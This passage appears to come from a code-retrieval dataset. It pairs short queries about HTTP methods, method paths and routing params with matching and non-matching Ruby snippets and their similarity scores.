[ "def http_verb(params)\n [:post, :put, :delete].detect { |method_name|\n params.key?(method_name)\n } || :get\n end", "def http_method\n METHODS[self[:method]]\n end", "def verb\n [\"get\", \"post\"].include?(raw_verb) ? raw_verb : \"post\"\n end", "def method\n request.method\n end", "def http_method\n @parser.http_method\n end", "def request_type(http_method = nil)\n (http_method || @verb).to_s.upcase\n end", "def request_method(verb)\n Net::HTTP.const_get(verb.to_s.capitalize)\n end", "def method\n @headers[\"REQUEST_METHOD\"].downcase.to_sym\n end", "def http_method\n @http_method.to_s.upcase\n end", "def method\n self.env['REQUEST_METHOD'].downcase.to_sym\n end", "def http_method\n\t\t\t\treturn @http_method if defined?(@http_method)\n\n\t\t\t\tmethod_from_method =\n\t\t\t\t\tbegin\n\t\t\t\t\t\tparams['_method']\n\t\t\t\t\trescue ArgumentError => e\n\t\t\t\t\t\t## https://github.com/rack/rack/issues/337#issuecomment-48555831\n\t\t\t\t\t\traise unless e.message.include?('invalid %-encoding')\n\t\t\t\t\tend\n\n\t\t\t\t@http_method = (method_from_method || request_method).upcase.to_sym\n\t\t\tend", "def method\n env.fetch('REQUEST_METHOD')\n end", "def http_method(value = nil)\n if value\n @http_method = value\n else\n @http_method\n end\n end", "def http_method= new_verb\n @http_method = new_verb.to_s.upcase\n end", "def http_method= new_verb\n @http_method = new_verb.to_s.upcase\n end", "def method\n parse_request! if @method.nil?\n @method\n end", "def request_method; end", "def default_method\n case @action.to_s\n when /create/\n :post\n when /update/\n :put\n when /destroy/\n :delete\n else# and when /(index|show|new|edit)/\n :get\n end\n end", "def request_method\n @request_method || :get\n end", "def method\n @method ||= ( ( ( m = @request.request_method.downcase ) == 'post' and\n ( n = @request['_method'] ) ) ? n.downcase : m ).intern\n end", "def http_method\n @http_method ||= @options[:http_method] || :post\n end", "def route\n \"#{@http_verb.to_s.upcase} #{@url}\"\n end", "def method\n controller.request.request_method\n end", "def http_method(request)\n request.request_method\n end", "def request_method\n {:filter => :post,\n :sample => :get,\n :firehose => :get,\n :retweet => :get\n }.fetch(@path, :get)\n end", "def http_method(v)\n endpoint_info[:http_method] = v\n end", "def method(method = nil)\n return @method unless method\n case method\n when :get, :post, :put, :delete\n @method = method\n else\n raise \"Unknown HTTP method :#{method}.\"\n end\n end", "def http_method(request)\n raise NotImplementedError\n end", "def http_method(request)\n raise NotImplementedError\n end", "def http_method\n return @discovery_document['httpMethod'] || 'GET'\n end", "def http_method\n return if request_response_pairs.empty?\n request_response_pairs.first.first.request_method\n end", "def verb_path\n return nil if @binding.nil?\n\n {\n get: @binding.get,\n post: @binding.post,\n put: @binding.put,\n patch: @binding.patch,\n delete: @binding.delete\n }.find { |_, value| !value.empty? }\n end", "def method\n options[:method] || :get\n end", "def request_method\n @env['REQUEST_METHOD']\n end", "def request_method\n @env['REQUEST_METHOD']\n end", "def method\n return @method if defined? @method\n @method = headers[METHOD_KEY]\n @method = @method.downcase.to_sym if @method\n @method\n end", "def get_action request_method\n case request_method\n when 'POST' then 'create'\n when 'GET' then 'read'\n when 'PUT' then 'update'\n when 'DELETE' then 'delete'\n end\n end", "def http_method\n :get\n end", "def method_tag\n method = options[:method]\n\n case method\n when /^get$/ # must be case-insensitive, but can't use downcase as might be nil\n options[:method] = 'get'\n ''\n when /^post$/, '', nil\n options[:method] = 'post'\n ''\n else\n options[:method] = 'post'\n Hidden.(value: method, name: '_method').to_s\n end\n end", "def request_method_symbol; end", "def requested_method\n\t\t\t\t# respond to websocket special case\n\t\t\t\treturn :pre_connect if request.upgrade?\n\t\t\t\t# respond to save 'new' special case\n\t\t\t\treturn (self.class.has_method?(:save) ? :save : false) if (request.request_method =~ /POST|PUT|PATCH/i.freeze) && (params[:id].nil? || params[:id] == 'new'.freeze)\n\t\t\t\t# set DELETE method if simulated\n\t\t\t\trequest.request_method = 'DELETE'.freeze if params[:_method] && params[:_method].to_s.downcase == 'delete'.freeze\n\t\t\t\t# respond to special :id routing\n\t\t\t\tparams[:id].to_s.downcase.to_sym.tap { |met| return met if self.class.has_exposed_method?(met) } if params[:id]\n\t\t\t\t#review general cases\n\t\t\t\tcase request.request_method\n\t\t\t\twhen 'GET'.freeze, 'HEAD'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:index) ? :index : false) unless params[:id]\n\t\t\t\t\treturn (self.class.has_method?(:show) ? :show : false)\n\t\t\t\twhen 'POST'.freeze, 'PUT'.freeze, 'PATCH'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:update) ? :update : false)\n\t\t\t\twhen 'DELETE'.freeze\n\t\t\t\t\treturn (self.class.has_method?(:delete) ? :delete : false)\n\t\t\t\tend\n\t\t\t\tfalse\n\t\t\tend", "def normalized_request_method\n method = @env[\"REQUEST_METHOD\"]\n method == 'HEAD' ? 'get' : method.downcase\n end", "def method\n @json['method']\n end", "def request_method(env)\n env[REQUEST_METHOD]\n end", "def parse_http_methods!(req)\n if (method = req.params['_method'])\n if ['delete', 'put', 'patch'].include?(method.downcase)\n req.env['REQUEST_METHOD'] = method.upcase\n end\n end\n end", "def get_method\n request_object.method\n end", "def GET; end", "def verb\n raise NotImplementedError.new('Must override')\n end", "def request_method(query)\n (options[:method] || DEFAULT_METHOD).to_sym\n end", "def method\r\n@method ||= check_method(env[\"rack.methodoverride.original_method\"] || env['REQUEST_METHOD'])\r\nend", "def method\n @method\n end", "def method\n @method\n end", "def non_get_methods\n [:post, :put, :delete]\n end", "def verb\r\n self.class.verb\r\n end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def verb; end", "def halt_method(x = ['GET'])\n if !x.include?(request.request_method)\n halt 405\n end\n end", "def api_method\n ''\n end", "def request_method\n if post_tunnel_method_hack?\n params['_method'].upcase\n else\n @env['REQUEST_METHOD']\n end\n end", "def request_method\n @attributes[:request_method]\n end", "def http_methods(_path)\n []\n end", "def method\n unescape params['x_method']\n end", "def verbs\n (@verb.downcase.presence || 'get').split('|')\n end", "def method\n @attributes[:method]\n end", "def method\n unescape params['x_method']\n end", "def method\n @method\n end", "def http_method(value = nil, &block)\n __define__(:http_method, value, block)\n end", "def method\n @method ||= options[:method]\n end", "def http_method_modifies_resource?\n ['PUT','POST','PATCH'].include?(method.to_s.upcase)\n end", "def parse_action(env, action)\n action = (env['HTTP_X_HTTP_METHOD_OVERRIDE'] || action).strip.downcase\n case action\n when 'delete', 'get', 'head', 'post', 'put', 'patch', 'options'\n action.to_sym\n else\n raise HTTPException.new(501)\n end\n end", "def update_request?(http_method = nil)\n http_method = http_method.downcase.to_sym if http_method.is_a?(String)\n %i[put post patch].include?(http_method || @verb)\n end", "def request_method(request)\n return request.request_method if request.request_method != 'POST'\n return request.params['_method'].upcase if request.params['_method']\n request.request_method\n end", "def request_method\r\n@request_method ||= check_method(env[\"REQUEST_METHOD\"])\r\nend", "def form_method\n\t\t\t\tspecial_method = Webrat::XML.css_search(@element, 'input[name=\"_method\"]').first\n\t\t\t\tunless special_method.nil?\n\t\t\t\t\tspecial_method['value']\n\t\t\t\telse\n\t\t\t\t\tWebrat::XML.attribute(@element, \"method\").blank? ? :get : Webrat::XML.attribute(@element, \"method\").downcase\n\t\t\t\tend\n\t\t\tend", "def http verb, path, params={}\n\n to_header = params.delete(:to_header)\n case verb.to_s.downcase\n\n when 'get' # use URL-encoded params for GET requests only\n if to_header\n to_header['Accept'] = MIME_TYPE\n request_opts = {method: verb, headers: to_header, params: params}\n else\n request_opts = {method: verb, headers: {'Accept' => MIME_TYPE}, params: params}\n end\n else # for everything else encode as JSON in the body\n encoded_param = Yajl::Encoder.encode params\n if to_header\n to_header['Content-type'] = MIME_TYPE\n request_opts = {method: verb, headers: to_header, body: encoded_param }\n else\n request_opts = {method: verb, headers: { 'Content-type' => MIME_TYPE }, body: encoded_param }\n\n end\n end\n\n request = Typhoeus::Request.new @base_url+path, request_opts\n\n @hydra.queue request\n\n RequestPromise.new(request).then do |response|\n # we always expect JSON from successful responses\n response_meta(response).merge Yajl::Parser.parse(response.body, symbolize_keys: true)\n end\n end", "def http_method\n raise \"Implement in child class\"\n end", "def _get\n http_method(:get)\n end", "def method\n return @method\n end", "def to_s\n \"#{http_methods.join(\" / \")} #{path}\"\n end", "def http(method, url, options = {}, &block)\n case method.to_s.downcase\n when *%w(get put head post delete options patch)\n send method, url, options, &block\n else\n raise \"Invalid method: #{method}\"\n end\n end", "def protocol\n m = @properties['METHOD']\n m ? m.upcase : m\n end", "def run_request(verb, method, options={})\n self.class.send(verb, \"/#{method}\", :query => authorization_params.merge(options))\n end", "def method(name=nil) # :nodoc:\n #; [!084jo] returns current request method when argument is not specified.\n #; [!gwskf] calls Object#method() when argument specified.\n return name ? super : @meth\n end", "def message\n verb\n end", "def verb\n parent.operations.key self\n end", "def http_methods(path, http_verb, data = '', content_type = 'application/json')\n uri = URI(path.to_s)\n headers = {\n 'Content-Type' => 'application/json'\n }\n case http_verb\n when :get\n http_method = Net::HTTP::Get.new(uri, headers)\n http = Net::HTTP.new(uri.host, uri.port)\n return http.request(http_method)\n # return Net::HTTP.get(uri)\n when :put\n http_method = Net::HTTP::Put.new(uri, headers)\n when :post\n http_method = Net::HTTP::Post.new(uri, headers)\n when :delete\n http_method = Net::HTTP::Delete.new(uri, headers)\n else\n # Throw / log exception\n end\n # Request with body for Post/Put verbs and return response\n http_method.body = data.to_json unless data.nil?\n http = Net::HTTP.new(uri.host, uri.port)\n http.request(http_method)\n end", "def signature\n {method: @method.upcase, path: @path, body: @body}\n end", "def action\n @params['action'] || @params[:action]\n end", "def request_method_symbol\r\nHTTP_METHOD_LOOKUP[request_method]\r\nend", "def method\n options.fetch(:method, nil)\n end", "def people_form_method(person)\n\t\tif person.new_record?\n\t\t\t@method = \"post\"\n\t\telse\n\t\t\t@method = \"put\"\n\t\tend\n\t\t@method\n\tend", "def url\n resource.url + '/methods'\n end", "def method_symbol\r\nHTTP_METHOD_LOOKUP[method]\r\nend", "def action\n if action_name == 'advanced_search'\n :post\n else\n :get\n end\n end", "def method_not_allowed(verbs)\n res = response\n res.status = 405\n res[RodaResponseHeaders::ALLOW] = verbs\n nil\n end", "def method_not_allowed\n [\n 405,\n { CONTENT_TYPE => 'text/plain', 'X-Cascade' => 'pass' },\n [\"#{Utils::HTTP_STATUS_CODES[405]}\\n\"]\n ]\n end", "def method\n\t\treturn get_tlv_value(TLV_TYPE_METHOD)\n\tend" ]
[ "0.80255795", "0.79532343", "0.78840005", "0.7776328", "0.7662945", "0.75481087", "0.7524558", "0.7515918", "0.74777883", "0.7475457", "0.7410626", "0.7332165", "0.73101026", "0.725867", "0.725867", "0.7236206", "0.7234881", "0.7213815", "0.7209806", "0.71801263", "0.71648645", "0.71621335", "0.7149113", "0.71379656", "0.7127056", "0.7085385", "0.7062008", "0.6993756", "0.6993756", "0.69904757", "0.697945", "0.68985754", "0.6897125", "0.68737483", "0.68737483", "0.687055", "0.6825061", "0.68074733", "0.6790143", "0.6762203", "0.67525107", "0.66725045", "0.6660845", "0.6655737", "0.66491014", "0.66478086", "0.66253376", "0.6595134", "0.65615016", "0.6558263", "0.65207136", "0.65207136", "0.6502128", "0.64772177", "0.64617044", "0.64617044", "0.64617044", "0.64617044", "0.64617044", "0.6457991", "0.64357466", "0.6396411", "0.63831705", "0.6383096", "0.63812774", "0.63739055", "0.63360864", "0.6331202", "0.6266376", "0.6220131", "0.62031084", "0.62028426", "0.61952484", "0.61876684", "0.6170023", "0.61687046", "0.61627483", "0.61604947", "0.615847", "0.6152755", "0.6112971", "0.60970795", "0.60937613", "0.60620606", "0.60394317", "0.6032528", "0.6030517", "0.60214335", "0.6018695", "0.60178673", "0.6002406", "0.5985582", "0.59840715", "0.5978292", "0.59759444", "0.597569", "0.5973408", "0.5960989", "0.5938691", "0.5934364" ]
0.6510562
52
Whether a method path is present and nonempty
def path? !path.empty? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def path?(instance, *method_names)\n !path(instance, *method_names, try: true).nil?\n end", "def empty_path?\n path.empty?\n end", "def method_defined?(p0) end", "def path?\n !!@path\n end", "def path?\n !!@path\n end", "def method_defined?(arg0)\n end", "def empty?\n @path.size == 0\n end", "def empty?\n @path.empty?\n end", "def empty_path?\n super || remaining_path == '/'\n end", "def path_exists?(path)\n raise NotImplementedError\n end", "def has_path?(path)\n !node_for(path).nil?\n end", "def method?(meth)\n get_method(meth)\n end", "def method_exists?\n [ 'public', 'protected', 'private'].any? do |level|\n @klass.send(level + '_method_defined?', @method_name)\n end\n end", "def method?\n type == TYPE_METHOD\n end", "def method?\n type == TYPE_METHOD\n end", "def in_path?(path); end", "def path_defined?(path)\n return (not root_defined_path_part[path].nil?)\n end", "def in_path?\r\n self.aln_path_id.nil? ? false : true\r\n end", "def respond_to?(method)\n return super unless part(method)\n part(method)\n end", "def paths?\n !paths.empty?\n end", "def public_method_defined?(arg0)\n end", "def has_path? *paths\n t = self\n penum = paths.each\n loop do\n current_path = penum.next\n dh = t.__send__ :_delegate_hash\n return false unless dh.has_key? current_path\n t = dh[current_path]\n end\n true\n rescue NoMethodError => e\n return false if e.name == :_delegate_hash\n end", "def mandatory?(method, override = nil)\n false\n end", "def matches_directly?(request_path, http_method)\n @paths.path[request_path]&.operation(http_method)\n end", "def public_method_defined?(p0) end", "def empty?\n path(\"\").empty\n end", "def defined?\n @object.method_defined?(@method_name) or @object.private_method_defined?(@method_name)\n end", "def navigate_method? meth\n (meth.to_s.start_with?(\"navigate_to_\") && !instance_variable_get(\"@#{meth.to_s.sub('navigate_to_','')}\").nil?)\n end", "def has_handler?(method)\n send(method) && true\n end", "def must_have_body?\n Methods[@method].must_have_body\n end", "def matches?(path)\n return false if path.nil?\n\n send match_method, Pathname.new(path)\n end", "def can_invoke_method_of_same_name_on_obj?\n method_of_same_name_exists_on_obj? && @field.arguments.size == 0\n end", "def method_missing(method,*args)\n # if the method ends in ?, then strip it off and see if we\n # respond to the method without the ?\n if (call_method = method.to_s.chomp!(\"?\")) && respond_to?(call_method)\n return send(call_method).nil? ? false : true\n else\n super(method,*args)\n end\n end", "def route? method\n if @tracker.routes[:allow_all_actions] or @tracker.options[:assume_all_routes]\n true\n else\n routes = @tracker.routes[@current_class]\n routes and (routes.include? :allow_all_actions or routes.include? method)\n end\n end", "def private_method_defined?(p0) end", "def root?\n class_name == nil && method_name == nil\n end", "def has?(path)\n begin\n get(path, error: true)\n return true\n rescue ArgumentError => e\n return false\n end\n end", "def private_method_defined?(arg0)\n end", "def respond_to?(method, include_all = false)\n if method.to_s.end_with?('_path', '_url')\n if main_app.respond_to?(method)\n true\n else\n super\n end\n else\n super\n end\n end", "def method_valid?(method_name)\n # validate method, see if we support given method in current tasks\n (current_context_task_names() + ['help']).include?(method_name)\n end", "def exists? path\n end", "def matches? meth\n Citero.map(\"\").respond_to?(meth) && ( directionize(meth).eql?(\"to\") || directionize(meth).eql?(meth.to_s) )\n end", "def matches? meth\n navigate_method?(meth) || element_id_method?(meth) || wait_method?(meth) || element_id_exists_method?(meth)\n end", "def handles?(rjr_method)\n !handler_for(rjr_method).nil?\n end", "def empty?\n PathExpression.range(expression)[0].nil?\n end", "def navigate_method?(method)\n (method.to_s.start_with?(\"navigate_to_\") && !instance_variable_get(\"@#{method.to_s.sub('navigate_to_','')}\").nil?)\n end", "def valid_meth?(fn)\n fn.is_a?(Method)\n end", "def respond_to?(method, include_private=false)\n route_macro = self.class.macros[method]\n if route_macro.nil?\n super\n else\n true\n end\n end", "def respond_to_missing?(_method, _include_private = false)\n true\n end", "def is_path?(); @type == GRT_PATH; end", "def check_only_methods\n end", "def respond_to?(meth)\n\t\ttrue\n\tend", "def has(method_name)\n @methods.include?(method_name)\n end", "def respond_to?(method)\n # @hash.key? method is broken so check keys list\n ([method, method.to_s] - @hash.keys).length < 2 || component?(method.to_s) || super\n end", "def is_path?\n !!((@file.is_a?(String) || @file.is_a?(Pathname)) && !@file.blank?)\n end", "def method?(method)\n\t\treturn (get_tlv_value(TLV_TYPE_METHOD) == method)\n\tend", "def method?(method)\n\t\treturn (get_tlv_value(TLV_TYPE_METHOD) == method)\n\tend", "def respond_to?(method)\n return true if name?(method.to_sym)\n super\n end", "def method?(name)\n method_name == name.to_sym\n end", "def path_exists?(path, create_if_not_exist = false)\n return true if path.empty?\n end", "def respond_to?(method_name, include_private = false)\n true\n end", "def valid? # :nodoc:\n return false unless respond_to?(@method_name)\n test_method = method(@method_name)\n if @internal_data.have_test_data?\n return false unless test_method.arity == 1\n else\n return false unless test_method.arity <= 0\n end\n owner = Util::MethodOwnerFinder.find(self, @method_name)\n if owner.class != Module and self.class != owner\n return false\n end\n true\n end", "def exists?(path)\n head(path).empty? ? false : true\n end", "def valid_proxy_method?\n rpc_action? || rpc_action_abbrev?\n end", "def supported?(method)\n !@operations.include?(MAP.fetch(method))\n end", "def game_path?\n !NonGamePaths.include?('%s:%s' % [request.request_method, request.path])\n end", "def respond_to?(method)\n :force.equal?(method) || :__force__.equal?(method) || __force__.respond_to?(method)\n end", "def path_is?(path)\n @location.path_is?(path)\n end", "def protected_method_defined?(p0) end", "def accept?(path_info)\n\t\t1\n\tend", "def matches?(method)\n navigate_method?(method) || element_id_method?(method) || wait_method?(method) || element_id_exists_method?(method)\n end", "def respond_to?(method_name, include_all = false) # rubocop:disable Style/OptionalBooleanParameter\n respond_to_missing?(method_name, include_all)\n end", "def any?\n if @path.is_a?(String)\n File.exist?(@path)\n else\n @path.size.positive?\n end\n end", "def pianobar?\n !pianobar_path.empty?\n end", "def respond_to?(method_name)\n super || rpc_methods.include?(method_name.to_sym)\n end", "def has_convenience_method?(method_)\n @mutex.synchronize do\n @methods.has_key?(method_)\n end\n end", "def respond_to?(method_name, include_private=false)\n return true if key?(method_name) || method_name.to_s.slice(/[=?!_]\\Z/)\n super\n end", "def respond_to?(method, include_priv = false)\n method_name = method.to_s\n if attributes.nil?\n return super\n elsif attributes.has_key?(method_name)\n return true\n elsif ['?','='].include?(method_name.last) && attributes.has_key?(method_name.first(-1))\n return true\n end\n # super must be called at the end of the method, because the inherited respond_to?\n # would return true for generated readers, even if the attribute wasn't present\n super\n end", "def bang_method?\n method_name.to_s.end_with?('!')\n end", "def exist?\n self.class.exist?(@path)\n end", "def contain?(key)\n methods.key?(key)\n end", "def binary_method_operator?\n arguments.one? && Types::BINARY_METHOD_OPERATORS.include?(selector)\n end", "def would_require?(path); end", "def respond_to?(method, include_private = false)\n super || defines_default?(method) || (method =~ /^(\\w+)=$/ && defines_default?(Regexp.last_match(1)))\n end", "def action_method?\n nil\n end", "def has_method?(name)\n Object.instance_method(:respond_to?).bind(self).call(name)\n end", "def protected_method_defined?(arg0)\n end", "def exists?\n self.path.present? && File.exist?(self.path)\n end", "def respond_to?(method_name, include_private = false)\n [\"users\"].include? (method_name.to_s) || super\n end", "def is_exact?\n @path.include?('*') == false\n end", "def respond_to_missing?(_method_name, _include_private = false)\n true\n end", "def is_pathtype?(); @type == GRT_PATHTYPE; end", "def respond_to_missing? meth, priv\n if @o\n @o.repond_to_missing? meth, priv\n else\n true\n end\n end", "def respond_to_missing?(_method_name, _include_private = false)\n true\n end", "def supports_path?; end", "def respond_to?(method, include_private = false)\n super || model.respond_to?(method) || relationships.has_key?(method)\n end", "def has_method?(class_name, method_name, access_control = nil)\n if access_control\n !!methods(class_name).find do |method|\n method.method_name == method_name && method.access_control == access_control\n end\n else\n !!methods(class_name).find { |method| method.method_name == method_name }\n end\n end", "def is_allowed?(path)\n raise :unimplemented\n end", "def decorated_methods?\n !decorated_methods[:class_methods].empty? ||\n !decorated_methods[:instance_methods].empty?\n end", "def respond_to?(method, include_private = false)\n get_node.respond_to?(method)\n end" ]
[ "0.77671576", "0.73855793", "0.7317064", "0.72605807", "0.72605807", "0.7134597", "0.7093714", "0.7042063", "0.6983502", "0.69811785", "0.69445735", "0.6943291", "0.6930798", "0.6921401", "0.6921401", "0.67961603", "0.67514455", "0.672343", "0.6667143", "0.66473997", "0.6647371", "0.6628933", "0.6610327", "0.659228", "0.6576731", "0.65741444", "0.6570647", "0.6570629", "0.6541314", "0.65411144", "0.6529144", "0.65268326", "0.65256244", "0.6524311", "0.65103954", "0.64828056", "0.6457719", "0.64509255", "0.645056", "0.64484143", "0.64347047", "0.6428201", "0.6422249", "0.6418197", "0.64154863", "0.6413729", "0.64030546", "0.639391", "0.6388965", "0.6364732", "0.6360561", "0.6348208", "0.6341924", "0.633625", "0.6334172", "0.63170886", "0.63170886", "0.6287582", "0.62856096", "0.62798256", "0.62664956", "0.6256174", "0.625581", "0.6254228", "0.6242148", "0.6240061", "0.6229748", "0.62287015", "0.6225605", "0.62233406", "0.62175643", "0.6212624", "0.6210549", "0.6199501", "0.6197252", "0.61957633", "0.6190701", "0.6182751", "0.6177361", "0.61753666", "0.61665404", "0.61578274", "0.61517864", "0.61488974", "0.6148328", "0.6146629", "0.61461496", "0.6137287", "0.61359376", "0.61346966", "0.6133632", "0.61300015", "0.61242235", "0.61207193", "0.61203164", "0.61182785", "0.6115347", "0.6114089", "0.61139464", "0.6113797" ]
0.73544484
2
A method path or an empty string if not present
def path return "" unless verb_path verb_path[1] end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def path(*) end", "def path_method\n View.configuration.path_methods.find { |method| value.respond_to?(method) }\n end", "def path\n raise NotImplementedError.new 'This is only a function body for documentation'\n end", "def method_missing(method, *args)\n if method =~ /current_(.*)/\n return path_part( @parts[$1.to_sym] ) if @parts.has_key?($1.to_sym)\n end\n\n super\n end", "def path\n end", "def path\n end", "def path\n end", "def path() end", "def path() end", "def path() end", "def service_path\n raise MethodMissingError\n end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def path; end", "def method\n self.class.name.split('::').last || ''\n end", "def path\n raise NotImplementedError\n end", "def path\n nil\n end", "def path\n if value.is_a?(String)\n value\n else\n value.send(path_method, *path_arguments)\n end\n end", "def full_path; end", "def method_missing(method, *args)\n\t\t\t@path_elements << method.to_s\n\t\t\t@path_elements << args[0] if args[0]\n\t\t\treturn self\n\t\tend", "def method_name\n m = @method_stack.first || @@no_method\n m = \"##{m}\" unless m =~ /::/\n m\n end", "def method_name\n m = @method_stack.first || @@no_method\n m = \"##{m}\" unless m =~ /::/\n m\n end", "def add_method_name(current_string)\n adjusted_method_name = if @method_name.present? && (@method_name[0] == '/' || @method_name[0] == '.')\n log_hint(BuilderHints::METHOD_NAME_LEADING)\n \"#{@method_name} \"\n else\n \"/#{@method_name} \"\n end\n add_if_present(@method_name, current_string, adjusted_method_name)\n end", "def path(args={})\n unless self.name\n logger.warn '%s has no name' % self.class\n return ''\n end\n unless self.layout\n logger.warn 'No layout given'\n return ''\n end\n\n logger.debug 'Generating path for portlet %s' % self.name\n method = self.name+'_path'\n if self.respond_to?(method)\n return self.send(method, args)\n else\n # unknown path\n logger.warn 'Unknown path requested for portlet %s' % self.name\n return ''\n end\n end", "def controller_method(path)\n split_path = path.split('/')\n\n split_path[split_path.length - 2] if controller_spec?(path)\n end", "def path\n end", "def file\n return \"(unknown)\" unless self.method\n method.file\n end", "def default_path str = nil, &block\n (class << self; self; end).send :define_method, :default_path do \n block_given? ? instance_eval(&block) : str\n end\n end", "def method_missing(name, *args) #:nodoc:\n if path.respond_to?(name)\n self.class.def_delegator :@path, name #method inlining\n send(name, *args)\n else\n super\n end\n end", "def Path(arg)\n Path[arg]\nend", "def verb_path\n return nil if @binding.nil?\n\n {\n get: @binding.get,\n post: @binding.post,\n put: @binding.put,\n patch: @binding.patch,\n delete: @binding.delete\n }.find { |_, value| !value.empty? }\n end", "def lookup_method_to_call( default_value=nil )\n @_method ||= nil\n @_method.nil? ? default_value.to_s : @_method\n end", "def path\n raise NotImplementedError\n end", "def path\n\t\t@path\n\tend", "def path_without_name_and_ref(path); end", "def method_name\n self.fullname[/\\A(.*)([\\.\\#])([^\\.\\#]+)\\z/, 3]\n end", "def computed_path(context)\n @_path ||= case @path\n when String, Hash\n @path\n when Symbol\n context.public_send(@path) # todo\n when Proc\n context.instance_exec(&@path)\n else\n raise ArgumentError,\n \"Expected one of String, Symbol, or Proc, \" \\\n \"got #{@path.class}\"\n end\n end", "def request_path\n @path = controller_path + '#' + action_name\n def @path.is(*str)\n str.map{|s| self.include?(s)}.include?(true)\n end\n end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def method_name; end", "def url\n resource.url + '/methods'\n end", "def path=(_arg0); end", "def path=(_arg0); end", "def path=(_arg0); end", "def path=(_arg0); end", "def path=(_arg0); end", "def path?(instance, *method_names)\n !path(instance, *method_names, try: true).nil?\n end", "def to_s\n \"#{http_methods.join(\" / \")} #{path}\"\n end", "def method(method = nil)\n return @method if method.nil?\n\n @method = method.to_s.capitalize\n end", "def method\n @method\n end", "def full_path=(_arg0); end", "def path\n @path ||= \n (@path_proc && @path_proc.call(self)) || \n default_path\n end", "def path; super; end", "def path\n @path\n end", "def path\n @path\n end", "def get_Method(initial)\n\tinitial.split(' ',3)[0]\nend", "def name\n 'method 2'\n end", "def helpers_path=(_arg0); end", "def path\n @path ||= if Symbol === _path\n find_route_for(_path, *options)\n elsif _path\n _path\n else\n '#'\n end\n end" ]
[ "0.7038314", "0.6997883", "0.6642527", "0.65929085", "0.65901417", "0.65901417", "0.65901417", "0.6568149", "0.6568149", "0.6568149", "0.6466278", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64591265", "0.64574283", "0.6404675", "0.6322723", "0.63073623", "0.62965536", "0.6215457", "0.6206085", "0.6206085", "0.61778915", "0.61587995", "0.61558825", "0.61525977", "0.614755", "0.6107331", "0.61063975", "0.6104635", "0.6084011", "0.608179", "0.6078585", "0.607116", "0.6042218", "0.6017837", "0.60160583", "0.601378", "0.6000325", "0.6000325", "0.6000325", "0.6000325", "0.6000325", "0.6000325", "0.6000325", "0.6000325", "0.6000325", "0.6000325", "0.6000325", "0.6000325", "0.5996012", "0.5994395", "0.5994395", "0.5994395", "0.5994395", "0.5994395", "0.59880495", "0.5978839", "0.5937708", "0.59278053", "0.59241766", "0.592076", "0.58955795", "0.58944255", "0.58944255", "0.5894316", "0.58891153", "0.5887945", "0.58770543" ]
0.62522024
50
Whether any routing params are present
def routing_params? routing_params.any? end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def routing_params?\n routing_params.any?\n end", "def any_empty_routing?\n self.empty?(self, \"routings\", false)\n end", "def empty_params?\n params.reject{ |k,_| k.to_sym.eql?(:controller) || k.to_sym.eql?(:action)}.empty?\n end", "def needed_params_present?(*ar_params)\n ar_params.flatten.all? { |e| params[e].present? }\n end", "def params?\n !(params.input_filters.required_inputs.empty? && params.input_filters.optional_inputs.empty?)\n end", "def has_missing_params?(required_params)\n required_params.each do |param|\n return true if params[param].blank?\n end\n false\n end", "def required_params?\n @unincluded_params = []\n\n required_params.each do |param|\n unless params.include?(param)\n unincluded_params << param\n end\n end\n\n unincluded_params.empty?\n end", "def valid_params?\n params.none? do |k,v|\n v == \"\"\n end\n end", "def missing_mandatory_params?(params)\n mandatory_params.each { |mandatory_param| @missing_params << mandatory_param if params[mandatory_param].to_s.empty? }\n return !@missing_params.empty?\n end", "def has_search_parameters?\n result = super || !params[:t].blank? || !params[:l].blank? || !params[:resolve].blank?\n end", "def empty?\n @routes.empty?\n end", "def check_route_params\n params.select{|key,value| key.in?(CheckRoute.column_names())}\n end", "def has_required_http_params?(param_hash)\n # Note: The blank? method is a Rails extension.\n # Specific keys have to be present, and their values\n # must not be blank.\n if !param_hash[:assignment].blank? &&\n !param_hash[:group_name].blank?\n return true\n else\n return false\n end\n end", "def param_exists?(param_name)\n params[param_name] and not params[param_name].empty? ? true : false\n end", "def custom_get_request_with_params?\n request.method =~ /get/i && !%w(index show).include?(params[:action]) && !params.nil?\n end", "def req_params_present? sym_array = []\n return sym_array.all? {|k| params.has_key? k}\n end", "def no_parameters?\n @parameters.nil? or @parameters.empty?\n end", "def is_true?(request, params)\n return (evaluate_path(params) & expected_values).any?\n end", "def applicable?\n super && route.segment_keys.size > 0\n end", "def has_required_http_params?(param_hash)\n # Note: The blank? method is a Rails extension.\n # Specific keys have to be present, and their values\n # must not be blank.\n if !param_hash[:filename].blank? &&\n !param_hash[:assignment].blank? &&\n !param_hash[:group_name].blank?\n return true\n else\n return false\n end\n end", "def ensure_params(*req)\n missing = []\n req.flatten.each do |param|\n if params[param].blank?\n missing << param.to_s\n end\n end\n if missing.empty?\n return false\n else\n msg = \"Following params are required but missing: \" + missing.join(\", \")\n render_api_error(11 , 400, 'params', msg)\n return true\n end\n end", "def has_valid?(params)\n params.none?{|key,value| value.empty?}\n end", "def valid_params_request?\n true\n end", "def valid_params_request?\n true\n end", "def has_param?(key)\n params[key] || dyn_params[key]\n end", "def invalid_params?\n @invalid_params.keys.length == 0\n end", "def 